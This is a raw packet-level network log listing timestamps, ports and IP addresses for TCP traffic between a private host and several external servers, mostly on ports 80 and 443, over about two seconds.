Oct 2, 2024 05:19:56.302309036 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.302309990 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.302337885 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.302355051 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303014994 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303060055 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303085089 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303118944 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303143978 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303178072 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303199053 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303224087 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303251028 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303283930 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303307056 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303339958 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303359032 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303426027 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303683043 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303719044 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303733110 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303745031 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303755045 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303757906 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303757906 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303765059 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303776026 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303787947 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303792000 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303798914 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303809881 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303843975 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303849936 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303862095 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303864002 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303872108 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303884983 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303889036 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303894997 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303910971 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303915024 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303915024 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303921938 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303932905 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303935051 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303942919 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303952932 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303962946 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303962946 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303972960 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303982019 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.303982973 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.303993940 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.304004908 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.304008007 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.304014921 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.304025888 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.304024935 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.304043055 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.304059029 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.304080963 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.304634094 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.304645061 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.304656982 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.304666996 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.304672003 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.304676056 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.304689884 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.304696083 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.304733992 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.304733992 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.304878950 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.304888010 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.304898024 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.304908991 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.304918051 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.304929018 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.304934978 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.304934978 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.304969072 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.304969072 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.305068016 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.305078983 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.305119038 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.305119038 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.385200977 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385215044 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385225058 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385262966 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.385291100 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.385294914 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385307074 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385341883 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.385374069 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.385392904 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385401964 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385411024 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385462999 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.385463953 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.385539055 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385548115 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385556936 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385565996 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385575056 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385584116 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385603905 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.385603905 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.385642052 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.385808945 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385819912 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385831118 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385854006 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.385888100 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.385958910 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385967970 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385976076 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385984898 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.385993958 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.386003971 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.386004925 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.386030912 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.386053085 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.580738068 CEST	443	49766	104.21.77.132	192.168.2.4
Oct 2, 2024 05:19:56.580821037 CEST	443	49766	104.21.77.132	192.168.2.4
Oct 2, 2024 05:19:56.580893040 CEST	49766	443	192.168.2.4	104.21.77.132
Oct 2, 2024 05:19:56.589962959 CEST	49766	443	192.168.2.4	104.21.77.132
Oct 2, 2024 05:19:56.589984894 CEST	443	49766	104.21.77.132	192.168.2.4
Oct 2, 2024 05:19:56.745847940 CEST	49767	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:19:56.745935917 CEST	443	49767	188.114.97.3	192.168.2.4
Oct 2, 2024 05:19:56.746015072 CEST	49767	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:19:56.749593019 CEST	49767	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:19:56.749629974 CEST	443	49767	188.114.97.3	192.168.2.4
Oct 2, 2024 05:19:56.795907974 CEST	49768	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:56.795996904 CEST	443	49768	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:56.796087027 CEST	49768	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:56.855247974 CEST	49768	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:56.855293036 CEST	443	49768	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:57.217185974 CEST	443	49767	188.114.97.3	192.168.2.4
Oct 2, 2024 05:19:57.217329979 CEST	49767	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:19:57.218751907 CEST	49767	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:19:57.218780994 CEST	443	49767	188.114.97.3	192.168.2.4
Oct 2, 2024 05:19:57.218998909 CEST	443	49767	188.114.97.3	192.168.2.4
Oct 2, 2024 05:19:57.220105886 CEST	49767	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:19:57.220144033 CEST	49767	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:19:57.220185041 CEST	443	49767	188.114.97.3	192.168.2.4
Oct 2, 2024 05:19:57.512424946 CEST	443	49768	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:57.512516022 CEST	49768	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:57.512904882 CEST	49768	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:57.512933969 CEST	443	49768	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:57.514309883 CEST	49768	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:57.514322996 CEST	443	49768	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:57.662822962 CEST	443	49767	188.114.97.3	192.168.2.4
Oct 2, 2024 05:19:57.662909985 CEST	443	49767	188.114.97.3	192.168.2.4
Oct 2, 2024 05:19:57.663001060 CEST	49767	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:19:57.663144112 CEST	49767	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:19:57.663184881 CEST	443	49767	188.114.97.3	192.168.2.4
Oct 2, 2024 05:19:57.663209915 CEST	49767	443	192.168.2.4	188.114.97.3
Oct 2, 2024 05:19:57.663228035 CEST	443	49767	188.114.97.3	192.168.2.4
Oct 2, 2024 05:19:57.683480024 CEST	49769	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:19:57.683521032 CEST	443	49769	172.67.152.190	192.168.2.4
Oct 2, 2024 05:19:57.683595896 CEST	49769	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:19:57.683964968 CEST	49769	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:19:57.683983088 CEST	443	49769	172.67.152.190	192.168.2.4
Oct 2, 2024 05:19:58.173577070 CEST	443	49769	172.67.152.190	192.168.2.4
Oct 2, 2024 05:19:58.173650980 CEST	49769	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:19:58.175158978 CEST	49769	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:19:58.175168991 CEST	443	49769	172.67.152.190	192.168.2.4
Oct 2, 2024 05:19:58.175612926 CEST	443	49769	172.67.152.190	192.168.2.4
Oct 2, 2024 05:19:58.176721096 CEST	49769	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:19:58.176743031 CEST	49769	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:19:58.176795959 CEST	443	49769	172.67.152.190	192.168.2.4
Oct 2, 2024 05:19:58.450225115 CEST	443	49768	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:58.450303078 CEST	49768	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:58.450314999 CEST	443	49768	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:58.450362921 CEST	49768	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:58.451224089 CEST	49768	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:58.451262951 CEST	443	49768	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:58.455214977 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.460035086 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.629394054 CEST	443	49769	172.67.152.190	192.168.2.4
Oct 2, 2024 05:19:58.629507065 CEST	443	49769	172.67.152.190	192.168.2.4
Oct 2, 2024 05:19:58.629551888 CEST	49769	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:19:58.629823923 CEST	49769	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:19:58.629852057 CEST	443	49769	172.67.152.190	192.168.2.4
Oct 2, 2024 05:19:58.629863977 CEST	49769	443	192.168.2.4	172.67.152.190
Oct 2, 2024 05:19:58.629872084 CEST	443	49769	172.67.152.190	192.168.2.4
Oct 2, 2024 05:19:58.639544964 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.639555931 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.639565945 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.639607906 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.639657021 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.639723063 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.639729023 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.639739037 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.639750957 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.639782906 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.639816999 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.639854908 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.639866114 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.639904976 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.639904976 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.640028954 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.640039921 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.640050888 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.640083075 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.640105963 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.640110970 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.640122890 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.640171051 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.640171051 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.640292883 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.640304089 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.640314102 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.640324116 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.640335083 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.640347958 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.640347958 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.640393972 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.640393972 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.640743971 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.640753984 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.640764952 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.640798092 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.640801907 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.640826941 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.640826941 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.640847921 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.640868902 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.640870094 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.640881062 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.640923023 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.641098022 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.641108990 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.641119003 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.641129971 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.641139984 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.641155005 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.641156912 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.641156912 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.641196966 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.641196966 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.641427040 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.641437054 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.641447067 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.641464949 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.641480923 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.641530037 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.641530991 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.641583920 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.641594887 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.641603947 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.641613960 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.641628027 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.641660929 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.641750097 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.641887903 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.641899109 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.641910076 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.641920090 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.641928911 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.641943932 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.641978025 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.641978025 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.642076969 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.642091036 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.642101049 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.642119884 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.642123938 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.642127991 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.642136097 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.642143011 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.642146111 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.642151117 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.642157078 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.642163992 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.642168045 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.642220974 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.642220974 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.642894983 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.642905951 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.642916918 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.642927885 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.642970085 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.643004894 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.643027067 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.643038034 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.643048048 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.643058062 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.643078089 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.643084049 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.643100023 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.643105030 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.643114090 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.643126011 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.643146992 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.643146992 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.643150091 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.643162012 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.643167019 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.643193007 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.643222094 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.643340111 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.643354893 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.643366098 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.643436909 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.643436909 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.643954039 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.643965006 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644007921 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.644109011 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644119978 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644129992 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644140005 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644150019 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644150972 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.644160986 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644171000 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644172907 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.644181967 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644197941 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.644234896 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.644234896 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.644242048 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644254923 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644264936 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644277096 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644284964 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644294024 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.644295931 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644315958 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.644349098 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:58.644403934 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:58.644414902 CEST	80	49764	147.45.44.104	192.168.2.4
